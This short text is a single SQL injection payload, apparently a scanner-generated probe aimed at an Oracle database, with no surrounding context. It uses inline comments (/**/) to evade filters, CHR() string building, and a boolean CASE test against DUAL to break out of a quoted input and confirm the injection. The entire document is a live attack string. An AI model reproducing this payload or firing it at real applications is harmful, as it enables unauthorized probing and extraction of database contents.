1′ AND AND/**/6174=(SELECT/**/UPPER(CHR(126)||’~’||(SELECT/**/(CASE/**/WHEN/**/(6174=6174)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||’~’||CHR(126))/**/FROM/**/DUAL/**/WHERE/**/DBMS_RANDOM.VALUE(7411,6810)=5112)– – 1